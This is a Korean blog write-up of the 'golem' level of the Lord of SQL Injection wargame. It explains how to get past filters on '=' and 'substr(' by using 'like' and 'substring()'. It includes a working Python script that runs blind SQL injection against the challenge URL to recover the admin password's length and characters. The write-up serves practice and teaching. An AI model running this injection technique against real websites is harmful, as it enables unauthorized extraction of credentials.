이번에는 substr( 과 = 가 필터링에 추가가 되었습니다.
형식을 보아하니 앞선 문제처럼 Blind SQL Injection을 해서 문제를 풀어야 할 것으로 보입니다.
우선 = 필터링을 우회하기 위해서 like를 사용할 수 있습니다.
필터링을 우회할 수 있으니 Python 코드를 통해서 공격 수행을 해봅니다.
id='admin' 대신에 id like 'admin'을 하여 우회를 시킬 수 있습니다.
길이를 구하고 substr()과 동일한 기능을 하는 substring()으로 문자열을 나눠서 찾아봅니다.
그 외에 left, mid, right를 이용할 수도 있습니다.
range(33,127)로하면 '%'에서 막히게 됩니다..
그래서 앞선 문제들의 답이 숫자와 영어로 이루어 져있다는 것을 알았으니 48로 시작하면 '0'부터 체크하게 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import requests cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?' password = '' length = 0 #pw 길이 구하기 for i in range(1,99): query = "pw=' || id like 'admin' %26%26 length(pw) like "+str(i)+"%23" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): length = i print("length: "+str(length)) break #pw 구하기 for i in range(1,length+1): for j in range(48,127): query = "pw=' || id like 'admin' %26%26 substring(pw,"+str(i)+",1) like '"+chr(j)+"'%23" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): password += chr(j) print("password: "+password) break print ("password : "+password) | cs |
소문자로 입력하셔야 제대로 인증이 됩니다.
'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글
[LOS] bugbear (0) | 2018.10.06 |
---|---|
[LOS] darkknight (0) | 2018.10.06 |
[LOS] skeleton (0) | 2018.10.06 |
[LOS] vampire (0) | 2018.10.06 |
[LOS] troll (0) | 2018.10.06 |